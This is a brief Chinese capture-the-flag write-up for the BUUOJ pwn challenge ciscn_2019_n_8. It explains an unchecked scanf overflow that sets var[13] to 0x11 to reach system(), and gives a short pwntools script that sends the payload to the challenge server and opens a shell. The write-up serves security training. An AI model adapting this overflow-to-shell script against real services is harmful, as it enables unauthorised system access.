Share this post on:

ciscn_2019_n_8

来源

chceksec查看,全开离谱。。。

打开ida,f5查看伪代码

分析得,要进入if函数获取system权限,只需要把var[13]的值修改为17(0x11)即可,scanf不检查输入的长度可以溢出

#exp
from pwn import *

r=remote('node4.buuoj.cn', 26020)
elf=ELF('./ciscn_2019_n_8')
context(os='linux',arch='i386',log_level='debug')

payload=p32(0x11)*14
r.sendlineafter("What's your name?\n", payload)

r.interactive()

成功拿到flag

Share this post on:

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用 * 标注